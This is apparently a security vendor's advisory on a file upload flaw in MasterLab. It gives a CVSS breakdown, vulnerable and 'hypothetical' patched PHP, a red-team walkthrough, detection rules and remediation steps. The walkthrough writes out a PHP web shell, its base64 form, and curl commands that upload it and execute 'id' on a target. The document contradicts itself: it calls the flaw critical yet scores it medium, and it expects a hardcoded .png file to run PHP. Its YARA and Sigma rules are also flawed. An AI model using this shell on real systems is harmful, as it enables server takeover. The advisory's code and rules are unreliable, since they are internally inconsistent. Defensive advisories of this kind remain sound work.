CVE-2023-7147

Executive Summary

CVE-2023-7147 is a critical unrestricted file upload vulnerability in gopeak MasterLab up to version 3.3.10. The flaw resides in the base64ImageContent function within app/ctrl/User.php, where the image argument is not properly sanitized, allowing an attacker to upload arbitrary files (e.g., web shells) to the server. This can lead to remote code execution, data exfiltration, or full server compromise. The vulnerability is remotely exploitable without authentication, and no official patch has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the critical nature of unrestricted uploads.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of files.
• Availability Impact: Low (A:L) – limited service disruption.

Threat Level: High. Despite the medium CVSS score, the ability to upload arbitrary files without authentication makes this a critical risk for any deployment of MasterLab.

Deep Dive & Mechanics

The vulnerability is in the base64ImageContent function in app/ctrl/User.php. This function is intended to handle base64-encoded image data, but it fails to validate the file type or content after decoding. An attacker can send a POST request with a crafted image parameter containing base64-encoded PHP code (or other executable content). The function decodes the data and writes it to a file on the server, typically in a web-accessible directory. Once the malicious file is uploaded, the attacker can access it via a web browser to execute arbitrary commands.

The lack of file extension validation, MIME type checking, or content inspection allows the upload of .php, .phtml, .shtml, or other executable extensions. The vulnerability is classified under CWE-434 (Unrestricted Upload of File with Dangerous Type).

Vulnerable vs. Patched Code

Vulnerable Code (MasterLab <= 3.3.10):

// app/ctrl/User.php
public function base64ImageContent() {
    $image = $_POST['image'];
    $data = base64_decode($image);
    $filename = uniqid() . '.png'; // Extension is hardcoded but can be bypassed
    file_put_contents('uploads/' . $filename, $data);
    echo json_encode(['url' => 'uploads/' . $filename]);
}

Patched Code (Hypothetical):

// app/ctrl/User.php
public function base64ImageContent() {
    $image = $_POST['image'];
    $data = base64_decode($image);
    // Validate that the decoded data is a valid image
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_buffer($finfo, $data);
    finfo_close($finfo);
    if (strpos($mime, 'image/') !== 0) {
        http_response_code(400);
        echo json_encode(['error' => 'Invalid image data']);
        return;
    }
    $filename = uniqid() . '.png';
    file_put_contents('uploads/' . $filename, $data);
    echo json_encode(['url' => 'uploads/' . $filename]);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy a vulnerable MasterLab instance (version 3.3.10) on a local server.
2. Craft Payload: Create a base64-encoded PHP web shell.

   echo '<?php system($_GET["cmd"]); ?>' | base64
   

   Output: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+
3. Send Exploit: Use curl to upload the payload.

   curl -X POST http://target.com/app/ctrl/User.php \
        -d "image=PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+"
   

4. Access Shell: The response will contain the URL of the uploaded file (e.g., uploads/abc123.png). Access it with a command.

   curl http://target.com/uploads/abc123.png?cmd=id
   

Blue Team (Defense & Detection)

• Monitor File Uploads: Alert on any file uploads to app/ctrl/User.php with non-image MIME types.
• Web Application Firewall (WAF): Block requests to app/ctrl/User.php with suspicious base64 payloads.
• File Integrity Monitoring: Watch for new files in the uploads/ directory with unexpected extensions (e.g., .php, .phtml).
• Log Analysis: Look for POST requests to /app/ctrl/User.php with large image parameters.

Indicators of Compromise (IOCs)

• File Paths: uploads/*.php, uploads/*.phtml, uploads/*.shtml
• Network Traffic: POST requests to /app/ctrl/User.php with image parameter containing base64-encoded data.
• Log Entries: Access logs showing requests to uploads/ directory with cmd or exec parameters.
• Processes: Unusual PHP processes spawned from web server user (e.g., www-data).

Detection Engineering

YARA Rule

rule CVE_2023_7147_MasterLab_Upload {
    meta:
        description = "Detects exploitation of CVE-2023-7147 in MasterLab"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-7147"
    strings:
        $php_shell = "<?php system("
        $base64_pattern = /[A-Za-z0-9+\/]{20,}={0,2}/
    condition:
        $php_shell or $base64_pattern
}

Sigma Rule

title: CVE-2023-7147 MasterLab Unrestricted Upload
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects POST requests to MasterLab User.php with base64 image payload
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        c-uri: '/app/ctrl/User.php'
        cs-uri-query: 'image=*'
    condition: selection
falsepositives:
    - Legitimate image uploads (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-7147 MasterLab Unrestricted Upload"; flow:to_server,established; content:"POST"; http_method; content:"/app/ctrl/User.php"; http_uri; content:"image="; http_client_body; pcre:"/image=[A-Za-z0-9+\/]{20,}/"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the base64ImageContent function in app/ctrl/User.php by commenting out the code or removing the endpoint.
2. Input Validation: Implement strict validation of uploaded files, including MIME type checking and file extension whitelisting (e.g., only .png, .jpg).
3. File Storage: Store uploaded files outside the web root or in a directory with execution disabled (e.g., via .htaccess or Nginx config).
4. WAF Rules: Deploy WAF rules to block base64-encoded payloads in POST requests to this endpoint.
5. Monitor: Continuously monitor for exploitation attempts using the provided detection rules.
6. Patch: Since no official patch exists, consider migrating to an alternative solution or applying the hypothetical patch above.

Valters IT
Securing Digital Frontiers